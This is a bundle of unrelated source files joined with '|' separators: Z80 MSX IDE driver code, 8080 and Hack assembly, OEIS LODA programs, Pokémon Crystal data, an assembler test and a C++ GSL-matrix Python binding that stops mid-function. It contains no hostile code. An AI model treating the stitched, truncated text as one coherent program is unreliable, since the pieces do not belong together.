; Check if the STOP key was signaled on DRV_INIT
; Input : none
; Output : none
; Modifies: all
INICHKSTOP:
ld a,(INTFLG)
cp 4 ; Was STOP pressed?
ret nz ; No, quit as fast as possible
; Handle STOP to pause and read messages, and ask for the copyright info
ld de,BOOTPAUSE_S
call PRINT
.wait1: ld a,7
call SNSMAT
and $10 ; Is STOP still pressed?
jr z,.wait1 ; Wait for STOP to be released
xor a
ld (INTFLG),a ; Clear STOP flag
ld b,0 ; b=inhibit 'i' key flag
.wait2: call CHSNS
call nz,.chkikey ; Wait until a key is pressed
ld a,(INTFLG)
cp 4 ; Was STOP pressed?
jr nz,.wait2 ; No, return
xor a
ld (INTFLG),a ; Clear STOP flag
call KILBUF
ld b,30 ; Since the user is trying pause the
.wait3: halt ; boot messages, this gives him enough
; time to react and pause the next
; driver
ld a,(INTFLG)
cp 4 ; Was STOP pressed?
ret z ; quit so the next driver can process it
djnz .wait3 ; The user will have the impression
; that he has a perfect timing. ;)
ret
.chkikey:
bit 0,b ; Was the copyright message shown?
ret nz ; Yes, return
call CHGET
cp 'i'
jr z,.showcopyright
cp 'I'
ret nz
.showcopyright:
inc b ; Inhibit further presses of the i key
ld de,COPYRIGHT_S
jp PRINT
;=======================
; Strings
;=======================
INFO_S:
db 13,"Sunrise compatible IDE driver v",27,'J'
db VER_MAIN+$30,'.',VER_SEC+$30,'.',VER_REV+$30
CRLF_S: db 13,10,0
COPYRIGHT_S:
db "(c) 2009 Konamiman",13,10
db "(c) 2014 Piter Punk",13,10
db "(c) 2017 FRS",13,10,13,10,0
BOOTPAUSE_S:
db "Paused. Press <i> to show the copyright info.",13,10,0
SEARCH_S:
db "Searching: ",0
NODEVS_S:
db "not found",13,10,0
ABORTED_S:
db "<aborted>",13,10,0
INIT_S:
db 13,"Initializing : ",27,'J',0
MASTER_S:
db 13,"Master device: ",27,'J',0
SLAVE_S:
db 13,"Slave device : ",27,'J',0
OK_S: db "Ok",13,10,0
ERROR_S:
db "Error!",13,10,0
DETECT_S:
db "detecting",0
.unknown: db "Unknown device ",0
.unsupported: db "Unsuppored device",0
.oparenthesis: db " (",0
.chs: db "CHS",0
.lba: db "LBA",0
.atapi: db "ATP",0
DIAGS_S:
.nomaster: db "<failed>",7,13,10,0
.formatter: db "<formatter device error>",7,13,10,0
.buffer: db "<sector buffer error>",7,13,10,0
.ECC: db "<ECC circuitry error>",7,13,10,0
.microcontroller: db "<controlling microprocessor error>",7,13,10,0
.unknown: db "<unknown error ",7,0
;=======================
; Variables
;=======================
.phase #C000
TEMP_WORK WRKTEMP
.dephase
;-----------------------------------------------------------------------------
;
; Padding up to the required driver size
DRV_END:
ds 3ED0h-(DRV_END-DRV_START)
end
|
MVI B, 14 ; B=14
MVI C, 9 ; C=9
LXI H, 0 ; HL=0
MOV E, B ; DE=B(14)
LOOP: DAD D ; HL+=DE
DCR C ; C-=1
JNZ LOOP ; 0 değilse atla
HLT
; B ve C deki iki sayıyı çarpar, sonucu HL de tutar
|
; A058665: a(n) = gcd(n+1, n-phi(n)).
; 2,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,5,1,1,1,1,3,1,1,1,1,1,3,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,1,3,5,1,1,1,1,1,1,1,1,1,1,3,1,1,1,5,1,1,1,1,1,1,1,3,1,1,1,1,1,1,1,1
mov $1,$0
add $0,2
seq $1,10 ; Euler totient function phi(n): count numbers <= n and prime to n.
add $1,1
gcd $0,$1
mul $0,2
sub $0,2
div $0,2
add $0,1
|
// --- Custom splash screen ----
// Designed for the Hack computer
// by @github/jetstarblues
// === Setup ===
// colors
@0 // '0000000000000000'
D = A
@color0
M = D
@4369 // '0001000100010001'
D = A
@color1
M = D
@8738 // '0010001000100010'
D = A
@color2
M = D
@13107 // '0011001100110011'
D = A
@color3
M = D
@17476
D = A
@color4
M = D
@21845
D = A
@color5
M = D
@26214
D = A
@color6
M = D
@30583
D = A
@color7
M = D
@34952
D = A
@color8
M = D
@39321
D = A
@color9
M = D
@43690
D = A
@color10
M = D
@48059
D = A
@color11
M = D
@52428
D = A
@color12
M = D
@56797
D = A
@color13
M = D
@61166
D = A
@color14
M = D
@65535
D = A
@color15
M = D
// program variables
@i
M = 0 // @i = 0
@addr
M = 0 // @addr = 0
@addr1
M = 0 // @addr1 = 0
@addr2
M = 0 // @addr2 = 0
@addr3
M = 0 // @addr3 = 0
@color
M = 0 // @color = 0
@rect_idx
M = 1 // @rect_idx = 1
@11
D = A
@n_rects
M = D // @n_rects = 11
// rect1
// start position
@SCREEN
D = A
@a_rect1
M = D // @a_rect1 = @SCREEN
@6196 // ( 16 * ( 32 * 3 ) + 13 ) * 4
D = A
@a_rect1
M = D + M // @a_rect1 += 6196
// height
@96 // 16 * 6
D = A
@h_rect1
M = D // @h_rect1 = 96
// rect2
// start position
@SCREEN
D = A
@a_rect2
M = D
@6200 // ( 16 * ( 32 * 3 ) + 14 ) * 4
D = A
@a_rect2
M = D + M
// height
@16 // 16 * 1
D = A
@h_rect2
M = D
// rect3
// start position
@SCREEN
D = A
@a_rect3
M = D
@10296 // ( 16 * ( 32 * 5 ) + 14 ) * 4
D = A
@a_rect3
M = D + M
// height
@32 // 16 * 2
D = A
@h_rect3
M = D
// rect4
// start position
@SCREEN
D = A
@a_rect4
M = D
@16440 // ( 16 * ( 32 * 8 ) + 14 ) * 4
D = A
@a_rect4
M = D + M
// height
@16 // 16 * 1
D = A
@h_rect4
M = D
// rect5
// start position
@SCREEN
D = A
@a_rect5
M = D
@6204 // ( 16 * ( 32 * 3 ) + 15 ) * 4
D = A
@a_rect5
M = D + M
// height
@96 // 16 * 6
D = A
@h_rect5
M = D
// rect6
// start position
@SCREEN
D = A
@a_rect6
M = D
@12352 // ( 16 * ( 32 * 6 ) + 16 ) * 4
D = A
@a_rect6
M = D + M
// height
@96 // 16 * 6
D = A
@h_rect6
M = D
// rect7
// start position
@SCREEN
D = A
@a_rect7
M = D
@12356 // ( 16 * ( 32 * 6 ) + 17 ) * 4
D = A
@a_rect7
M = D + M
// height
@16 // 16 * 1
D = A
@h_rect7
M = D
// rect8
// start position
@SCREEN
D = A
@a_rect8
M = D
@16452 // ( 16 * ( 32 * 8 ) + 17 ) * 4
D = A
@a_rect8
M = D + M
// height
@32 // 16 * 2
D = A
@h_rect8
M = D
// rect9
// start position
@SCREEN
D = A
@a_rect9
M = D
@22596 // ( 16 * ( 32 * 11 ) + 17 ) * 4
D = A
@a_rect9
M = D + M
// height
@16 // 16 * 1
D = A
@h_rect9
M = D
// rect10
// start position
@SCREEN
D = A
@a_rect10
M = D
@12360 // ( 16 * ( 32 * 6 ) + 18 ) * 4
D = A
@a_rect10
M = D + M
// height
@96 // 16 * 6
D = A
@h_rect10
M = D
// === Main loop ===
(SETUP_rect)
// if rect_idx == n_rects, goto END
@n_rects
D = M
@rect_idx
D = D - M
@END
D ; JEQ
// if rect_idx == 10, goto SETUP_rect10
@10
D = A
@rect_idx
D = D - M
@SETUP_rect10
D ; JEQ
// if rect_idx == 9, goto SETUP_rect9
@9
D = A
@rect_idx
D = D - M
@SETUP_rect9
D ; JEQ
// if rect_idx == 8, goto SETUP_rect8
@8
D = A
@rect_idx
D = D - M
@SETUP_rect8
D ; JEQ
// if rect_idx == 7, goto SETUP_rect7
@7
D = A
@rect_idx
D = D - M
@SETUP_rect7
D ; JEQ
// if rect_idx == 6, goto SETUP_rect6
@6
D = A
@rect_idx
D = D - M
@SETUP_rect6
D ; JEQ
// if rect_idx == 5, goto SETUP_rect5
@5
D = A
@rect_idx
D = D - M
@SETUP_rect5
D ; JEQ
// if rect_idx == 4, goto SETUP_rect4
@4
D = A
@rect_idx
D = D - M
@SETUP_rect4
D ; JEQ
// if rect_idx == 3, goto SETUP_rect3
@3
D = A
@rect_idx
D = D - M
@SETUP_rect3
D ; JEQ
// if rect_idx == 2, goto SETUP_rect2
@2
D = A
@rect_idx
D = D - M
@SETUP_rect2
D ; JEQ
// if rect_idx == 1, goto SETUP_rect1
@1
D = A
@rect_idx
D = D - M
@SETUP_rect1
D ; JEQ
(LOOP_rect)
@i
D = M
@h
D = D - M
@SETUP_rect
D ; JEQ // if i == h, goto next rect
// @addr
// A = M
// M = -1 // RAM[ @addr ] = -1
@ addr
D = M
@ addr1
MD = D + 1 // @addr1 = @addr + 1
@ addr2
MD = D + 1 // @addr2 = @addr1 + 1
@ addr3
MD = D + 1 // @addr3 = @addr2 + 1
@color
D = M
@addr
A = M
M = D // RAM[ @addr ] = color
@addr1
A = M
M = D // RAM[ @addr1 ] = color
@addr2
A = M
M = D // RAM[ @addr2 ] = color
@addr3
A = M
M = D // RAM[ @addr3 ] = color
@128
D = A
@addr
M = D + M // @addr += 32 * 4
@i
M = M + 1 // @i += 1
@LOOP_rect
0 ; JMP
(SETUP_rect1)
@rect_idx
M = M + 1
@i
M = 0
@color3
D = M
@color
M = D
@a_rect1
D = M
@addr
M = D
@h_rect1
D = M
@h
M = D
@LOOP_rect
0 ; JMP
(SETUP_rect2)
@rect_idx
M = M + 1
@i
M = 0
@color6
D = M
@color
M = D
@a_rect2
D = M
@addr
M = D
@h_rect2
D = M
@h
M = D
@LOOP_rect
0 ; JMP
(SETUP_rect3)
@rect_idx
M = M + 1
@i
M = 0
@color7
D = M
@color
M = D
@a_rect3
D = M
@addr
M = D
@h_rect3
D = M
@h
M = D
@LOOP_rect
0 ; JMP
(SETUP_rect4)
@rect_idx
M = M + 1
@i
M = 0
@color8
D = M
@color
M = D
@a_rect4
D = M
@addr
M = D
@h_rect4
D = M
@h
M = D
@LOOP_rect
0 ; JMP
(SETUP_rect5)
@rect_idx
M = M + 1
@i
M = 0
@color9
D = M
@color
M = D
@a_rect5
D = M
@addr
M = D
@h_rect5
D = M
@h
M = D
@LOOP_rect
0 ; JMP
(SETUP_rect6)
@rect_idx
M = M + 1
@i
M = 0
@color10
D = M
@color
M = D
@a_rect6
D = M
@addr
M = D
@h_rect6
D = M
@h
M = D
@LOOP_rect
0 ; JMP
(SETUP_rect7)
@rect_idx
M = M + 1
@i
M = 0
@color11
D = M
@color
M = D
@a_rect7
D = M
@addr
M = D
@h_rect7
D = M
@h
M = D
@LOOP_rect
0 ; JMP
(SETUP_rect8)
@rect_idx
M = M + 1
@i
M = 0
@color12
D = M
@color
M = D
@a_rect8
D = M
@addr
M = D
@h_rect8
D = M
@h
M = D
@LOOP_rect
0 ; JMP
(SETUP_rect9)
@rect_idx
M = M + 1
@i
M = 0
@color13
D = M
@color
M = D
@a_rect9
D = M
@addr
M = D
@h_rect9
D = M
@h
M = D
@LOOP_rect
0 ; JMP
(SETUP_rect10)
@rect_idx
M = M + 1
@i
M = 0
@color14
D = M
@color
M = D
@a_rect10
D = M
@addr
M = D
@h_rect10
D = M
@h
M = D
@LOOP_rect
0 ; JMP
// === End loop ===
(END)
@END
0 ; JMP
|
; A287451: Start with 0 and repeatedly substitute 0->012, 1->201, 2->120.
; 0,1,2,2,0,1,1,2,0,1,2,0,0,1,2,2,0,1,2,0,1,1,2,0,0,1,2,2,0,1,1,2,0,0,1,2,0,1,2,2,0,1,1,2,0,1,2,0,0,1,2,2,0,1,1,2,0,0,1,2,2,0,1,2,0,1,1,2,0,0,1,2,0,1,2,2,0,1,1,2,0,1,2,0,0,1,2,2,0,1,2,0,1,1,2,0,0,1,2,0,1,2,2,0,1,1,2,0,0,1,2,2,0,1,1,2,0,1,2,0,0,1,2,2,0,1,2,0,1,1,2,0,0,1,2,2,0,1,1,2,0,0,1,2,0,1,2,2,0,1,1,2,0,1,2,0,0,1,2,2,0,1,2,0,1,1,2,0,0,1,2,0,1,2,2,0,1,1,2,0,1,2,0,0,1,2,2,0,1,1,2,0,0,1,2,2,0,1,2,0,1,1,2,0,0,1,2,0,1,2,2,0,1,1,2,0,0,1,2,2,0,1,1,2,0,1,2,0,0,1,2,2,0,1,2,0,1,1,2,0,0,1,2,2,0,1,1,2,0,0
mov $2,-3
lpb $0,1
add $3,$0
div $0,$2
lpe
mov $1,1
mod $3,$2
mul $3,2
add $3,4
mul $1,$3
sub $1,3
div $1,2
|
#include "code.asm"
#include "code2.asm"
; error: code.asm:1: no match
; error: code.asm:2: no match
; error: code.asm:3: no match
; error: code.asm:1: no match
; error: code.asm:2: no match
; error: code.asm:3: no match |
db TANGELA ; 114
db 65, 55, 115, 60, 100, 40
; hp atk def spd sat sdf
db GRASS, GRASS ; type
db 45 ; catch rate
db 166 ; base exp
db NO_ITEM, NO_ITEM ; items
db GENDER_F50 ; gender ratio
db 100 ; unknown 1
db 20 ; step cycles to hatch
db 5 ; unknown 2
INCBIN "gfx/pokemon/tangela/front.dimensions"
db 0, 0, 0, 0 ; padding
db GROWTH_MEDIUM_FAST ; growth rate
dn EGG_PLANT, EGG_PLANT ; egg groups
; tm/hm learnset
tmhm HEADBUTT, CURSE, TOXIC, PSYCH_UP, HIDDEN_POWER, SUNNY_DAY, SWEET_SCENT, SNORE, HYPER_BEAM, PROTECT, GIGA_DRAIN, ENDURE, FRUSTRATION, SOLARBEAM, RETURN, DOUBLE_TEAM, SWAGGER, SLEEP_TALK, SLUDGE_BOMB, REST, ATTRACT, THIEF, CUT, FLASH
; end
|
;;; This code was generated by a script
SECTION code_compiler
GLOBAL _zxn_p3cont_d
GLOBAL _zxn_p3cont_d_err
GLOBAL zxn_p3cont_errcheck
;;; On entry, stack holds
;;; retaddr, af, bc, de, hl, ix, zxn_p3call_adjstack
_zxn_p3cont_d_err:
call zxn_p3cont_errcheck ; might not return
_zxn_p3cont_d:
pop af ; throw away zxn_p3call_adjstack, not needed
; (only used if user writes a custom handler)
pop af ; pop value for ix (ignored)
pop af ; pop value for hl (ignored)
pop hl ; pop value for de (to return)
ld l, h ; move to low bits of result
ld h, 0 ; clear high bits of result
pop af ; pop value for bc (ignored)
pop af ; pop value for af (ignored)
ret ; done
|
// -*- C++ -*-
//
// michael a.g. aïvázis
// orthologue
// (c) 1998-2019 all rights reserved
//
#include <portinfo>
#include <Python.h>
#include <sstream>
#include <cstdio>
#include <gsl/gsl_matrix.h>
#include <gsl/gsl_eigen.h>
#include "matrix.h"
#include "capsules.h"
// construction
const char * const gsl::matrix::alloc__name__ = "matrix_alloc";
const char * const gsl::matrix::alloc__doc__ = "allocate a matrix";
PyObject *
gsl::matrix::alloc(PyObject *, PyObject * args) {
// place holders for the python arguments
size_t s0, s1;
// unpack the argument tuple
int status = PyArg_ParseTuple(args, "(kk):matrix_alloc", &s0, &s1);
// if something went wrong
if (!status) return 0;
// allocate a matrix
gsl_matrix * m = gsl_matrix_alloc(s0, s1);
// std::cout << " gsl.matrix_allocate: matrix@" << m << ", size=" << length << std::endl;
// wrap it in a capsule and return it
return PyCapsule_New(m, capsule_t, free);
}
// view construction
const char * const gsl::matrix::view_alloc__name__ = "matrix_view_alloc";
const char * const gsl::matrix::view_alloc__doc__ = "allocate a matrix view";
PyObject *
gsl::matrix::view_alloc(PyObject *, PyObject * args) {
// place holders for the python arguments
size_t origin0, origin1;
size_t s0, s1;
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args,
"O!(kk)(kk):matrix_view_alloc",
&PyCapsule_Type, &capsule,
&origin0, &origin1,
&s0, &s1);
// if something went wrong
if (!status) return 0;
// bail out if the matrix capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// build the matrix view
gsl_matrix_view * v = new gsl_matrix_view(gsl_matrix_submatrix(m, origin0, origin1, s0, s1));
// the caller expects a tuple
PyObject * result = PyTuple_New(2);
// the zeroth entry is the capsule
PyTuple_SET_ITEM(result, 0, PyCapsule_New(v, view_t, freeview));
// followed by a pointer to the view data
// N.B.: don't attempt to deallocate this one...
PyTuple_SET_ITEM(result, 1, PyCapsule_New(&(v->matrix), capsule_t, 0));
// all done
return result;
}
// initialization
const char * const gsl::matrix::zero__name__ = "matrix_zero";
const char * const gsl::matrix::zero__doc__ = "zero out the elements of a matrix";
PyObject *
gsl::matrix::zero(PyObject *, PyObject * args) {
// the arguments
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args, "O!:matrix_zero", &PyCapsule_Type, &capsule);
// if something went wrong
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// std::cout << " gsl.matrix_zero: matrix@" << m << std::endl;
// zero it out
gsl_matrix_set_zero(m);
// return None
Py_INCREF(Py_None);
return Py_None;
}
const char * const gsl::matrix::fill__name__ = "matrix_fill";
const char * const gsl::matrix::fill__doc__ = "set all elements of a matrix to a value";
PyObject *
gsl::matrix::fill(PyObject *, PyObject * args) {
// the arguments
double value;
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args, "O!d:matrix_fill", &PyCapsule_Type, &capsule, &value);
// if something went wrong
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// std::cout << " gsl.matrix_fill: matrix@" << m << ", value=" << value << std::endl;
// fill it out
gsl_matrix_set_all(m, value);
// return None
Py_INCREF(Py_None);
return Py_None;
}
// matrix_identity
const char * const gsl::matrix::identity__name__ = "matrix_identity";
const char * const gsl::matrix::identity__doc__ = "build an identity matrix";
PyObject *
gsl::matrix::identity(PyObject *, PyObject * args) {
// the arguments
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args, "O!:matrix_identity", &PyCapsule_Type, &capsule);
// if something went wrong
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// std::cout << " gsl.matrix_identity: matrix@" << m << ", index=" << index << std::endl;
// fill it out
gsl_matrix_set_identity(m);
// return None
Py_INCREF(Py_None);
return Py_None;
}
// copy
const char * const gsl::matrix::copy__name__ = "matrix_copy";
const char * const gsl::matrix::copy__doc__ = "build a copy of a matrix";
PyObject *
gsl::matrix::copy(PyObject *, PyObject * args) {
// the arguments
PyObject * sourceCapsule;
PyObject * destinationCapsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!O!:matrix_copy",
&PyCapsule_Type, &destinationCapsule,
&PyCapsule_Type, &sourceCapsule
);
// if something went wrong
if (!status) return 0;
// bail out if the source capsule is not valid
if (!PyCapsule_IsValid(sourceCapsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule for source");
return 0;
}
// bail out if the destination capsule is not valid
if (!PyCapsule_IsValid(destinationCapsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule for destination");
return 0;
}
// get the matrices
gsl_matrix * source =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(sourceCapsule, capsule_t));
gsl_matrix * destination =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(destinationCapsule, capsule_t));
// copy the data
gsl_matrix_memcpy(destination, source);
// return None
Py_INCREF(Py_None);
return Py_None;
}
// tuple
const char * const gsl::matrix::tuple__name__ = "matrix_tuple";
const char * const gsl::matrix::tuple__doc__ = "build a tuple of tuples out of a matrix";
PyObject *
gsl::matrix::tuple(PyObject *, PyObject * args) {
// the arguments
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!:matrix_tuple",
&PyCapsule_Type, &capsule
);
// if something went wrong
if (!status) return 0;
// bail out if the source capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * mat =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// get the shape
size_t s1 = mat->size1;
size_t s2 = mat->size2;
// we return a tuple
PyObject * result = PyTuple_New(s1);
// go through the rows
for (size_t row=0; row<s1; ++row) {
// store the values in a tuple
PyObject * data = PyTuple_New(s2);
// go through the columns
for (size_t col=0; col<s2; ++col) {
// grab the value, turn it into a float and attach it
PyTuple_SET_ITEM(data, col, PyFloat_FromDouble(gsl_matrix_get(mat, row, col)));
}
// attach this row
PyTuple_SET_ITEM(result, row, data);
}
// return the result
return result;
}
// read
const char * const gsl::matrix::read__name__ = "matrix_read";
const char * const gsl::matrix::read__doc__ = "read the values of a matrix from a binary file";
PyObject *
gsl::matrix::read(PyObject *, PyObject * args) {
// the arguments
char * filename;
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args, "O!s:matrix_read", &PyCapsule_Type, &capsule, &filename);
// if something went wrong
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule for source");
return 0;
}
// attempt to open the stream
std::FILE * stream = std::fopen(filename, "rb");
// bail out if something went wrong
if (!stream) {
PyErr_SetString(PyExc_IOError, "could not open file for reading");
return 0;
}
// get the matrix
gsl_matrix * m =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// read the data
gsl_matrix_fread(stream, m);
// close the file
std::fclose(stream);
// return None
Py_INCREF(Py_None);
return Py_None;
}
// write
const char * const gsl::matrix::write__name__ = "matrix_write";
const char * const gsl::matrix::write__doc__ = "write the values of a matrix to a binary file";
PyObject *
gsl::matrix::write(PyObject *, PyObject * args) {
// the arguments
char * filename;
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args, "O!s:matrix_write", &PyCapsule_Type, &capsule, &filename);
// if something went wrong
if (!status) return 0;
// bail out if the source capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule for source");
return 0;
}
// attempt to open the stream
FILE * stream = std::fopen(filename, "wb");
// bail out if something went wrong
if (!stream) {
PyErr_SetString(PyExc_IOError, "could not open file for writing");
return 0;
}
// get the matrix
gsl_matrix * m =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// write the data
gsl_matrix_fwrite(stream, m);
// close the file
std::fclose(stream);
// return None
Py_INCREF(Py_None);
return Py_None;
}
// scanf
const char * const gsl::matrix::scanf__name__ = "matrix_scanf";
const char * const gsl::matrix::scanf__doc__ = "read the values of a matrix from a text file";
PyObject *
gsl::matrix::scanf(PyObject *, PyObject * args) {
// the arguments
char * filename;
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args, "O!s:matrix_scanf", &PyCapsule_Type, &capsule, &filename);
// if something went wrong
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule for source");
return 0;
}
// attempt to open the stream
std::FILE * stream = std::fopen(filename, "r");
// bail out if something went wrong
if (!stream) {
PyErr_SetString(PyExc_IOError, "could not open file for reading");
return 0;
}
// get the matrix
gsl_matrix * m =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// read the data
gsl_matrix_fscanf(stream, m);
// close the file
std::fclose(stream);
// return None
Py_INCREF(Py_None);
return Py_None;
}
// printf
const char * const gsl::matrix::printf__name__ = "matrix_printf";
const char * const gsl::matrix::printf__doc__ = "write the values of a matrix to a text file";
PyObject *
gsl::matrix::printf(PyObject *, PyObject * args) {
// the arguments
char * filename;
char * format;
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(args,
"O!ss:matrix_printf",
&PyCapsule_Type, &capsule,
&filename,
&format);
// if something went wrong
if (!status) return 0;
// bail out if the source capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule for source");
return 0;
}
// attempt to open the stream
FILE * stream = std::fopen(filename, "w");
// bail out if something went wrong
if (!stream) {
PyErr_SetString(PyExc_IOError, "could not open file for writing");
return 0;
}
// get the matrix
gsl_matrix * m =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// write the data
gsl_matrix_fprintf(stream, m, format);
// close the file
std::fclose(stream);
// return None
Py_INCREF(Py_None);
return Py_None;
}
// transpose
const char * const gsl::matrix::transpose__name__ = "matrix_transpose";
const char * const gsl::matrix::transpose__doc__ = "build a transpose of a matrix";
PyObject *
gsl::matrix::transpose(PyObject *, PyObject * args) {
// the arguments
PyObject * sourceCapsule;
PyObject * destinationCapsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!O:matrix_transpose",
&PyCapsule_Type, &sourceCapsule,
&destinationCapsule
);
// if something went wrong
if (!status) return 0;
// bail out if the source capsule is not valid
if (!PyCapsule_IsValid(sourceCapsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule for source");
return 0;
}
// get the source matrix
gsl_matrix * source =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(sourceCapsule, capsule_t));
// check the destination object
if (destinationCapsule == Py_None) {
// we are doing this in place, assuming a square matrix
gsl_matrix_transpose(source);
// return None
Py_INCREF(Py_None);
return Py_None;
}
// otherwise, destinationCapsule must also be a valid matrix capsule
if (
!PyCapsule_CheckExact(destinationCapsule) ||
!PyCapsule_IsValid(destinationCapsule, capsule_t)
) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule for destination");
return 0;
}
gsl_matrix * destination =
static_cast<gsl_matrix *>(PyCapsule_GetPointer(destinationCapsule, capsule_t));
// transpose the data
gsl_matrix_transpose_memcpy(destination, source);
// return None
Py_INCREF(Py_None);
return Py_None;
}
// access
const char * const gsl::matrix::get__name__ = "matrix_get";
const char * const gsl::matrix::get__doc__ = "get the value of a matrix element";
PyObject *
gsl::matrix::get(PyObject *, PyObject * args) {
// the arguments
PyObject * capsule;
long index1, index2;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!(ll):matrix_get",
&PyCapsule_Type, &capsule, &index1, &index2);
// bail out if something went wrong during argument unpacking
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// reflect negative indices about the end of the matrix
if (index1 < 0) index1 += m->size1;
if (index2 < 0) index2 += m->size2;
// convert to unsigned values
size_t i1 = index1;
size_t i2 = index2;
// bounds check index 1
if (i1 >= m->size1) {
// build an error message
std::stringstream msg;
msg << "matrix index " << index1 << " out of range";
// register the error
PyErr_SetString(PyExc_IndexError, msg.str().c_str());
// and raise the exception
return 0;
}
// bounds check index 2
if (i2 >= m->size2) {
// build an error message
std::stringstream msg;
msg << "matrix index " << index2 << " out of range";
// register the error
PyErr_SetString(PyExc_IndexError, msg.str().c_str());
// and raise the exception
return 0;
}
// get the value
double value = gsl_matrix_get(m, i1, i2);
// std::cout
// << " gsl.matrix_get: matrix@" << m << ", index=" << index << ", value=" << value
// << std::endl;
// return the value
return PyFloat_FromDouble(value);
}
const char * const gsl::matrix::set__name__ = "matrix_set";
const char * const gsl::matrix::set__doc__ = "set the value of a matrix element";
PyObject *
gsl::matrix::set(PyObject *, PyObject * args) {
// the arguments
double value;
PyObject * capsule;
long index1, index2;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!(ll)d:matrix_set",
&PyCapsule_Type, &capsule, &index1, &index2, &value);
// bail out if something went wrong during argument unpacking
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
PyErr_SetString(PyExc_TypeError, "invalid matrix capsule");
return 0;
}
// get the matrix
gsl_matrix * m = static_cast<gsl_matrix *>(PyCapsule_GetPointer(capsule, capsule_t));
// std::cout
// << " gsl.matrix_set: matrix@" << m << ", index=" << index << ", value=" << value
// << std::endl;
// reflect negative indices about the end of the matrix
if (index1 < 0) index1 += m->size1;
if (index2 < 0) index2 += m->size2;
// convert to unsigned values
size_t i1 = index1;
size_t i2 = index2;
// bounds check index 1
if (i1 >= m->size1) {
// build an error message
std::stringstream msg;
msg << "matrix index " << index1 << " out of range";
// register the error
PyErr_SetString(PyExc_IndexError, msg.str().c_str());
// and raise the exception
return 0;
}
// bounds check index 2
if (i2 >= m->size2) {
// build an error message
std::stringstream msg;
msg << "matrix index " << index2 << " out of range";
// register the error
PyErr_SetString(PyExc_IndexError, msg.str().c_str());
// and raise the exception
return 0;
}
// set the value
gsl_matrix_set(m, index1, index2, value);
// return None
Py_INCREF(Py_None);
return Py_None;
}
// slicing: get_col
const char * const gsl::matrix::get_col__name__ = "matrix_get_col";
const char * const gsl::matrix::get_col__doc__ = "return a column of a matrix";
PyObject *
gsl::matrix::get_col(PyObject *, PyObject * args) {
// the arguments
long index;
PyObject * capsule;
// unpack the argument tuple
int status = PyArg_ParseTuple(
args, "O!l:matrix_get_col",
&PyCapsule_Type, &capsule, &index);
// bail out if something went wrong during argument unpacking
if (!status) return 0;
// bail out if the capsule is not valid
if (!PyCapsule_IsValid(capsule, capsule_t)) {
